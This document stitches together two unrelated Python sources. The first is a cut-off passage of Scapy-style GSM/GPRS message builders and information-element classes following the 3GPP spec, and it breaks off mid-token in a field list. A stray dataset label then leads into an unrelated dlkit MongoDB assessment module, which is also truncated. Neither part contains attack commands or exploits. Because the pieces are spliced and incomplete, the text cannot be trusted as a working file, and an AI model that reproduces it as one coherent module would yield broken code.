AuthenticationParameterRAND_presence=0, CiphKeySeqNr_presence=0): """AUTHENTICATION AND CIPHERING REQUEST Section 9.4.9""" a = TpPd(pd=0x3) b = MessageType(mesType=0x12) # 00010010 d = CipheringAlgorithmAndImeisvRequest() e = ForceToStandbyAndAcReferenceNumber() packet = a / b / d / e if AuthenticationParameterRAND_presence is 1: g = AuthenticationParameterRAND(ieiAPR=0x21) packet = packet / g if CiphKeySeqNr_presence is 1: h = CiphKeySeqNrHdr(ieiCKSN=0x08, eightBitCKSN=0x0) packet = packet / h return packet def authenticationAndCipheringResponse( AuthenticationParameterSRES_presence=0, MobileId_presence=0): """AUTHENTICATION AND CIPHERING RESPONSE Section 9.4.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = AcReferenceNumberAndSpareHalfOctets() packet = a / b / c if AuthenticationParameterSRES_presence is 1: e = AuthenticationParameterSRES(ieiAPS=0x22) packet = packet / e if MobileId_presence is 1: f = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / f return packet def authenticationAndCipheringReject(): """AUTHENTICATION AND CIPHERING REJECT Section 9.4.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x14) # 00010100 packet = a / b return packet def identityRequest(): """IDENTITY REQUEST Section 9.4.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x15) # 00010101 c = IdentityType2AndforceToStandby() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.4.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x16) # 00010110 c = MobileId() packet = a / b / c return packet def routingAreaUpdateRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, DrxParameter_presence=0, TmsiStatus_presence=0): """ROUTING AREA UPDATE REQUEST Section 9.4.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 c = UpdateTypeAndCiphKeySeqNr() e = RoutingAreaIdentification() f = MsNetworkCapability() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if GprsTimer_presence is 1: h = GprsTimer(ieiGT=0x17) packet = packet / h if DrxParameter_presence is 1: i = DrxParameter(ieiDP=0x27) packet = packet / i if TmsiStatus_presence is 1: j = TmsiStatus(ieiTS=0x9) packet = packet / j return packet def routingAreaUpdateAccept(PTmsiSignature_presence=0, MobileId_presence=0, MobileId_presence1=0, ReceiveNpduNumbersList_presence=0, GprsTimer_presence=0, GmmCause_presence=0): """ROUTING AREA UPDATE ACCEPT Section 9.4.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 c = ForceToStandbyAndUpdateResult() e = GprsTimer() f = RoutingAreaIdentification() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / h if MobileId_presence1 is 1: i = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / i if ReceiveNpduNumbersList_presence is 1: j = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if GmmCause_presence is 1: l = GmmCause(ieiGC=0x25) packet = packet / l return packet def routingAreaUpdateComplete(ReceiveNpduNumbersList_presence=0): """ROUTING AREA UPDATE COMPLETE Section 9.4.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0xa) # 00001010 packet = a / b if ReceiveNpduNumbersList_presence is 1: c = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / c return packet def routingAreaUpdateReject(): """ROUTING AREA UPDATE REJECT Section 9.4.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = GmmCause() d = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d return packet def gmmStatus(): """GMM STATUS Section 9.4.18""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 00100000 c = GmmCause() packet = a / b / c return packet def gmmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """GMM INFORMATION Section 9.4.19""" a = TpPd(pd=0x3) b = MessageType(mesType=0x21) # 00100001 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet # # 9.5 GPRS Session Management Messages # def activatePdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REQUEST Section 9.5.1""" a = TpPd(pd=0x8) b = MessageType(mesType=0x41) # 01000001 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h return packet def activatePdpContextAccept(PacketDataProtocolAddress_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT ACCEPT Section 9.5.2""" a = TpPd(pd=0x8) b = MessageType(mesType=0x42) # 01000010 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e if PacketDataProtocolAddress_presence is 1: f = PacketDataProtocolAddress(ieiPDPA=0x2B) packet = packet / f if ProtocolConfigurationOptions_presence is 1: g = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / g return packet def activatePdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REJECT Section 9.5.3""" a = TpPd(pd=0x8) b = MessageType(mesType=0x43) # 01000011 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def requestPdpContextActivation(AccessPointName_presence=0): """REQUEST PDP CONTEXT ACTIVATION Section 9.5.4""" a = TpPd(pd=0x8) b = MessageType(mesType=0x44) # 01000100 c = PacketDataProtocolAddress() packet = a / b / c if AccessPointName_presence is 1: d = AccessPointName(ieiAPN=0x28) packet = packet / d return packet def requestPdpContextActivationReject(): """REQUEST PDP CONTEXT ACTIVATION REJECT Section 9.5.5""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 c = SmCause() packet = a / b / c return packet def modifyPdpContextRequest(): """MODIFY PDP CONTEXT REQUEST Section 9.5.6""" a = TpPd(pd=0x8) b = MessageType(mesType=0x48) # 01001000 c = RadioPriorityAndSpareHalfOctets() d = LlcServiceAccessPointIdentifier() e = QualityOfService() packet = a / b / c / d / e return packet def modifyPdpContextAccept(): """MODIFY PDP CONTEXT ACCEPT Section 9.5.7""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 packet = a / b return packet def deactivatePdpContextRequest(): """DEACTIVATE PDP CONTEXT REQUEST Section 9.5.8""" a = TpPd(pd=0x8) b = MessageType(mesType=0x46) # 01000110 c = SmCause() packet = a / b / c return packet def deactivatePdpContextAccept(): """DEACTIVATE PDP CONTEXT ACCEPT Section 9.5.9""" a = TpPd(pd=0x8) b = MessageType(mesType=0x47) # 01000111 packet = a / b return packet def activateAaPdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT REQUEST Section 9.5.10""" a = TpPd(pd=0x8) b = MessageType(mesType=0x50) # 01010000 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h if GprsTimer_presence is 1: i = GprsTimer(ieiGT=0x29) packet = packet / i return packet def activateAaPdpContextAccept(ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.11""" a = TpPd(pd=0x8) b = MessageType(mesType=0x51) # 01010001 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = MobileId() f = PacketDataProtocolAddress() g = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e / f / g if ProtocolConfigurationOptions_presence is 1: i = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x29) packet = packet / j return packet def activateAaPdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE AA PDP CONTEXT REJECT Section 9.5.12""" a = TpPd(pd=0x8) b = MessageType(mesType=0x52) # 01010010 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def deactivateAaPdpContextRequest(): """DEACTIVATE AA PDP CONTEXT REQUEST Section 9.5.13""" a = TpPd(pd=0x8) b = MessageType(mesType=0x53) # 01010011 c = AaDeactivationCauseAndSpareHalfOctets() packet = a / b / c return packet def deactivateAaPdpContextAccept(): """DEACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.14""" a = TpPd(pd=0x8) b = MessageType(mesType=0x54) # 01010100 packet = a / b return packet def smStatus(): """SM STATUS Section 9.5.15""" a = TpPd(pd=0x8) b = MessageType(mesType=0x55) # 01010101 c = SmCause() packet = a / b / c return packet # ============================================# # Information Elements contents (Section 10) # # =========================================== # #### # This section contains the elements we need to build the messages #### # # Common information elements: # class CellIdentityHdr(Packet): """ Cell identity Section 10.5.1.1 """ name = "Cell Identity" fields_desc = [ BitField("eightBitCI", None, 1), XBitField("ieiCI", None, 7), ByteField("ciValue1", 0x0), ByteField("ciValue2", 0x0) ] class CiphKeySeqNrHdr(Packet): """ Ciphering Key Sequence Number Section 10.5.1.2 """ name = "Cipher Key Sequence Number" fields_desc = [ XBitField("ieiCKSN", None, 4), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] # Fix 1/2 len problem class CiphKeySeqNrAndSpareHalfOctets(Packet): name = "Cipher Key Sequence Number and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] # Fix 1/2 len problem class CiphKeySeqNrAndMacModeAndChannelCodingRequest(Packet): name = "Cipher Key Sequence Number and Mac Mode And Channel Coding Request" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class LocalAreaIdHdr(Packet): """ Local Area Identification Section 10.5.1.3 """ name = "Location Area Identification" fields_desc = [ BitField("eightBitLAI", None, 1), XBitField("ieiLAI", None, 7), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mncDigit2", 0x0, 4), BitField("mncDigit1", 0x0, 4), ByteField("lac1", 0x0), ByteField("lac2", 0x0) ] # # The Mobile Identity is a type 4 information element with a minimum # length of 3 octet and 11 octets length maximal. # # len 3 - 11 class MobileIdHdr(Packet): """ Mobile Identity Section 10.5.1.4 """ name = "Mobile Identity" fields_desc = [ BitField("eightBitMI", 0x0, 1), XBitField("ieiMI", 0x0, 7), XByteField("lengthMI", None), BitField("idDigit1", 0x0, 4), BitField("oddEven", 0x0, 1), BitField("typeOfId", 0x0, 3), BitField("idDigit2_1", None, 4), # optional BitField("idDigit2", None, 4), BitField("idDigit3_1", None, 4), BitField("idDigit3", None, 4), BitField("idDigit4_1", None, 4), BitField("idDigit4", None, 4), BitField("idDigit5_1", None, 4), BitField("idDigit5", None, 4), BitField("idDigit6_1", None, 4), BitField("idDigit6", None, 4), BitField("idDigit7_1", None, 4), BitField("idDigit7", None, 4), BitField("idDigit8_1", None, 4), BitField("idDigit8", None, 4), BitField("idDigit9_1", None, 4), BitField("idDigit9", None, 4), ] def post_build(self, p, pay): # this list holds the values of the variables, the # INTERESTING value! a = [getattr(self, fld.name, None) for fld in self.fields_desc] res = adapt(3, 11, a, self.fields_desc) if self.lengthMI is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] print repr(p) return p + pay class MobileStationClassmark1Hdr(Packet): """ Mobile Station Classmark 1 Section 10.5.1.5 """ name = "Mobile Station Classmark 1" fields_desc = [ BitField("eightBitiMSC1", None, 1), XBitField("ieiMSC1", None, 7), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3) ] class MobileStationClassmark2Hdr(Packet): """ Mobile Station Classmark 2 Section 10.5.1.6 """ name = "Mobile Station Classmark 2" fields_desc = [ BitField("eightBitMSC2", None, 1), XBitField("ieiMSC2", None, 7), XByteField("lengthMSC2", 0x3), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3), BitField("spare1", 0x0, 1), BitField("psCap", 0x0, 1), BitField("ssScreenInd", 0x0, 2), BitField("smCaPabi", 0x0, 1), BitField("vbs", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("fc", 0x0, 1), BitField("cm3", 0x0, 1), BitField("spare2", 0x0, 1), BitField("lcsvaCap", 0x0, 1), BitField("spare3", 0x0, 1), BitField("soLsa", 0x0, 1), BitField("cmsp", 0x0, 1), BitField("a53", 0x0, 1), BitField("a52", 0x0, 1) ] # len max 14 class MobileStationClassmark3(Packet): """ Mobile Station Classmark 3 Section 10.5.1.7 """ name = "Mobile Station Classmark 3" fields_desc = [ # FIXME ByteField("ieiMSC3", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0) ] class SpareHalfOctets(Packet): """ Spare Half Octet Section 10.5.1.8 """ name = "Spare Half Octet" fields_desc = [ BitField("filler", None, 4), BitField("spareHalfOctets", 0x0, 4) ] class DescriptiveGroupOrBroadcastCallReferenceHdr(Packet): """ Descriptive group or broadcast call reference Section 10.5.1.9 """ name = "Descriptive Group or Broadcast Call Reference" fields_desc = [ BitField("eightBitDGOBCR", None, 1), XBitField("ieiDGOBCR", None, 7), BitField("binCallRef", 0x0, 27), BitField("sf", 0x0, 1), BitField("fa", 0x0, 1), BitField("callPrio", 0x0, 3), BitField("cipherInfo", 0x0, 4), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1) ] class GroupCipherKeyNumber(Packet): """ Group Cipher Key Number reference Section 10.5.1.10 """ name = "Group Cipher Key Number" fields_desc = [ XBitField("ieiGCKN", None, 4), BitField("groupCipher", 0x0, 4) ] class PdAndSapiHdr(Packet): """ PD and SAPI $(CCBS)$ Section 10.5.1.10a """ name = "PD and SAPI $(CCBS)$" fields_desc = [ BitField("eightBitPAS", None, 1), XBitField("ieiPAS", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("sapi", 0x0, 2), BitField("pd", 0x0, 4) ] class PriorityLevelHdr(Packet): """ Priority Level Section 10.5.1.11 """ name = "Priority Level" fields_desc = [ XBitField("ieiPL", None, 4), BitField("spare", 0x0, 1), BitField("callPrio", 0x0, 3) ] # # Radio Resource management information elements # # len 6 to max for L3 message (251) class BaRangeHdr(Packet): """ BA Range Section 10.5.2.1a """ name = "BA Range" fields_desc = [ BitField("eightBitBR", None, 1), XBitField("ieiBR", None, 7), XByteField("lengthBR", None), #error: byte format requires -128 <= number <= 127 ByteField("nrOfRanges", 0x0), # # rX = range X # # L o = Lower H i = higher # # H p = high Part Lp = low Part ByteField("r1LoHp", 0x0), BitField("r1LoLp", 0x0, 3), BitField("r1HiHp", 0x0, 5), BitField("r1HiLp", 0x0, 4), BitField("r2LoHp", 0x0, 4), # optional BitField("r2LoLp", None, 5), BitField("r2HiHp", None, 3), ByteField("r2HiLp", None), ByteField("r3LoHp", None), BitField("r3LoLp", None, 5), BitField("r3HiHp", None, 3), ByteField("r3HiLp", None), ByteField("r4LoHp", None), BitField("r4LoLp", None, 5), BitField("r4HiHp", None, 3), ByteField("r4HiLp", None), ByteField("r5LoHp", None), BitField("r5LoLp", None, 5), BitField("r5HiHp", None, 3), ByteField("r5HiLp", None), ByteField("r6LoHp", None), BitField("r6LoLp", None, 5), BitField("r6HiHp", None, 3), ByteField("r6HiLp", None), ByteField("r7LoHp", None), BitField("r7LoLp", None, 5), BitField("r7HiHp", None, 3), ByteField("r7HiLp", None), ByteField("r8LoHp", None), BitField("r8LoLp", None, 5), BitField("r8HiHp", None, 3), ByteField("r8HiLp", None), ByteField("r9LoHp", None), BitField("r9LoLp", None, 5), BitField("r9HiHp", None, 3), ByteField("r9HiLp", None), ByteField("r10LoHp", None), BitField("r10LoLp", None, 5), BitField("r10HiHp", None, 3), ByteField("r10HiLp", None), ByteField("r11LoHp", None), BitField("r11LoLp", None, 5), BitField("r11HiHp", None, 3), ByteField("r11HiLp", None), ByteField("r12LoHp", None), BitField("r12LoLp", None, 5), BitField("r12HiHp", None, 3), ByteField("r12HiLp", None), ByteField("r13LoHp", None), BitField("r13LoLp", None, 5), BitField("r13HiHp", None, 3), ByteField("r13HiLp", None), ByteField("r14LoHp", None), BitField("r14LoLp", None, 5), BitField("r14HiHp", None, 3), ByteField("r14HiLp", None), ByteField("r15LoHp", None), BitField("r15LoLp", None, 5), BitField("r15HiHp", None, 3), ByteField("r15HiLp", None), ByteField("r16LoHp", None), BitField("r16LoLp", None, 5), BitField("r16HiHp", None, 3), ByteField("r16HiLp", None), ByteField("r17LoHp", None), BitField("r17LoLp", None, 5), BitField("r17HiHp", None, 3), ByteField("r17HiLp", None), ByteField("r18LoHp", None), BitField("r18LoLp", None, 5), BitField("r18HiHp", None, 3), ByteField("r18HiLp", None), ByteField("r19LoHp", None), BitField("r19LoLp", None, 5), BitField("r19HiHp", None, 3), ByteField("r19HiLp", None), ByteField("r20LoHp", None), BitField("r20LoLp", None, 5), BitField("r20HiHp", None, 3), ByteField("r20HiLp", None), ByteField("r21LoHp", None), BitField("r21LoLp", None, 5), BitField("r21HiHp", None, 3), ByteField("r21HiLp", None), ByteField("r22LoHp", None), BitField("r22LoLp", None, 5), BitField("r22HiHp", None, 3), ByteField("r22HiLp", None), ByteField("r23LoHp", None), BitField("r23LoLp", None, 5), BitField("r23HiHp", None, 3), ByteField("r23HiLp", None), ByteField("r24LoHp", None), BitField("r24LoLp", None, 5), BitField("r24HiHp", None, 3), ByteField("r24HiLp", None), ByteField("r25LoHp", None), BitField("r25LoLp", None, 5), BitField("r25HiHp", None, 3), ByteField("r25HiLp", None), ByteField("r26LoHp", None), BitField("r26LoLp", None, 5), BitField("r26HiHp", None, 3), ByteField("r26HiLp", None), ByteField("r27LoHp", None), BitField("r27LoLp", None, 5), BitField("r27HiHp", None, 3), ByteField("r27HiLp", None), ByteField("r28LoHp", None), BitField("r28LoLp", None, 5), BitField("r28HiHp", None, 3), ByteField("r28HiLp", None), ByteField("r29LoHp", None), BitField("r29LoLp", None, 5), BitField("r29HiHp", None, 3), ByteField("r29HiLp", None), ByteField("r30LoHp", None), BitField("r30LoLp", None, 5), BitField("r30HiHp", None, 3), ByteField("r30HiLp", None), ByteField("r31LoHp", None), BitField("r31LoLp", None, 5), BitField("r31HiHp", None, 3), ByteField("r31HiLp", None), ByteField("r32LoHp", None), BitField("r32LoLp", None, 5), BitField("r32HiHp", None, 3), ByteField("r32HiLp", None), ByteField("r33LoHp", None), BitField("r33LoLp", None, 5), BitField("r33HiHp", None, 3), ByteField("r33HiLp", None), ByteField("r34LoHp", None), BitField("r34LoLp", None, 5), BitField("r34HiHp", None, 3), ByteField("r34HiLp", None), ByteField("r35LoHp", None), BitField("r35LoLp", None, 5), BitField("r35HiHp", None, 3), ByteField("r35HiLp", None), ByteField
codeparrot/github-code-clean
"""Mongodb implementations of assessment objects.""" # pylint: disable=no-init # Numerous classes don't require __init__. # pylint: disable=too-many-public-methods,too-few-public-methods # Number of methods are defined in specification # pylint: disable=protected-access # Access to protected methods allowed in package mongo package scope # pylint: disable=too-many-ancestors # Inheritance defined in specification #from ..osid.objects import OsidObject #from ..id.objects import IdList #import importlib import importlib from bson.objectid import ObjectId from . import mdata_conf from .. import types from .. import utilities from ...abstract_osid.assessment import objects as abc_assessment_objects from ..id.objects import IdList from ..osid.metadata import Metadata from ..osid.objects import OsidObject from ..primitives import DateTime from ..primitives import Duration from ..primitives import Id from ..primitives import Type from ..utilities import MongoClientValidated from ..utilities import get_provider_manager from dlkit.abstract_osid.osid import errors from dlkit.mongo.osid import markers as osid_markers from dlkit.mongo.osid import objects as osid_objects from dlkit.primordium.id.primitives import Id default_language_type = Type(**types.Language().get_type_data('DEFAULT')) default_script_type = Type(**types.Script().get_type_data('DEFAULT')) default_format_type = Type(**types.Format().get_type_data('DEFAULT')) class Question(abc_assessment_objects.Question, osid_objects.OsidObject): """A ``Question`` represents the question portion of an assessment item. Like all OSID objects, a ``Question`` is identified by its ``Id`` and any persisted references should use the ``Id``. """ _record_type_data_sets = {} _namespace = 'assessment.Question' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('QUESTION_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' @utilities.arguments_not_none def get_question_record(self, question_record_type): """Gets the item record corresponding to the given ``Question`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``question_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(question_record_type)`` is ``true`` . arg: question_record_type (osid.type.Type): the type of the record to retrieve return: (osid.assessment.records.QuestionRecord) - the question record raise: NullArgument - ``question_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(question_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(question_record_type) ## # Overide osid.Identifiable.get_id() method to cast this question id as its item id: def get_id(self): return Id(self._my_map['itemId']) id_ = property(fget=get_id) ident = property(fget=get_id) ## # This method mirrors that in the Item so that questions can also be inspected for learning objectives: def get_learning_objective_ids(self): collection = MongoClientValidated('assessment', collection='Item', runtime=self._runtime) item_map = collection.find_one({'_id': ObjectId(Id(self._my_map['itemId']).get_identifier())}) return IdList(item_map['learningObjectiveIds']) def get_object_map(self): obj_map = dict(self._my_map) my_idstr = obj_map['itemId'] del obj_map['itemId'] lo_ids = self.get_learning_objective_ids() obj_map['learningObjectiveIds'] = [str(lo_id) for lo_id in lo_ids] obj_map = osid_objects.OsidObject.get_object_map(self, obj_map) obj_map['id'] = my_idstr return obj_map object_map = property(fget=get_object_map) class QuestionForm(abc_assessment_objects.QuestionForm, osid_objects.OsidObjectForm): """This is the form for creating and updating ``Questions``.""" _record_type_data_sets = {} _namespace = 'assessment.Question' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('QUESTION_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['itemId'] = str(kwargs['item_id']) self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] @utilities.arguments_not_none def get_question_form_record(self, question_record_type): """Gets the ``QuestionFormRecord`` corresponding to the given question record ``Type``. arg: question_record_type (osid.type.Type): the question record type return: (osid.assessment.records.QuestionFormRecord) - the question record raise: NullArgument - ``question_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(question_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(question_record_type) class QuestionList(abc_assessment_objects.QuestionList, osid_objects.OsidList): """Like all ``OsidLists,`` ``QuestionList`` provides a means for accessing ``Question`` elements sequentially either one at a time or many at a time. Examples: while (ql.hasNext()) { Question question = ql.getNextQuestion(); } or while (ql.hasNext()) { Question[] question = al.getNextQuestions(ql.available()); } """ def get_next_question(self): """Gets the next ``Question`` in this list. return: (osid.assessment.Question) - the next ``Question`` in this list. The ``has_next()`` method should be used to test that a next ``Question`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Question) next_question = property(fget=get_next_question) @utilities.arguments_not_none def get_next_questions(self, n): """Gets the next set of ``Question`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``Question`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.Question) - an array of ``Question`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class Answer(abc_assessment_objects.Answer, osid_objects.OsidObject): """An ``Answer`` represents the question portion of an assessment item. Like all OSID objects, an ``Answer`` is identified by its ``Id`` and any persisted references should use the ``Id``. """ _record_type_data_sets = {} _namespace = 'assessment.Answer' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ANSWER_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' @utilities.arguments_not_none def get_answer_record(self, answer_record_type): """Gets the answer record corresponding to the given ``Answer`` record ``Type``. This method is used to retrieve an object implementing the requested records. The ``answer_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(answer_record_type)`` is ``true`` . arg: answer_record_type (osid.type.Type): the type of the record to retrieve return: (osid.assessment.records.AnswerRecord) - the answer record raise: NullArgument - ``answer_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(answer_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(answer_record_type) def get_object_map(self): obj_map = dict(self._my_map) del obj_map['itemId'] return osid_objects.OsidObject.get_object_map(self, obj_map) object_map = property(fget=get_object_map) class AnswerForm(abc_assessment_objects.AnswerForm, osid_objects.OsidObjectForm): """This is the form for creating and updating ``Answers``.""" _record_type_data_sets = {} _namespace = 'assessment.Answer' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('ANSWER_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['itemId'] = str(kwargs['item_id']) self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] @utilities.arguments_not_none def get_answer_form_record(self, answer_record_type): """Gets the ``AnswerFormRecord`` corresponding to the given answer record ``Type``. arg: answer_record_type (osid.type.Type): the answer record type return: (osid.assessment.records.AnswerFormRecord) - the answer record raise: NullArgument - ``answer_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(answer_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(answer_record_type) class AnswerList(abc_assessment_objects.AnswerList, osid_objects.OsidList): """Like all ``OsidLists,`` ``AnswerList`` provides a means for accessing ``Answer`` elements sequentially either one at a time or many at a time. Examples: while (al.hasNext()) { Answer answer = al.getNextAnswer(); } or while (al.hasNext()) { Answer[] answer = al.getNextAnswers(al.available()); } """ def get_next_answer(self): """Gets the next ``Answer`` in this list. return: (osid.assessment.Answer) - the next ``Answer`` in this list. The ``has_next()`` method should be used to test that a next ``Answer`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Answer) next_answer = 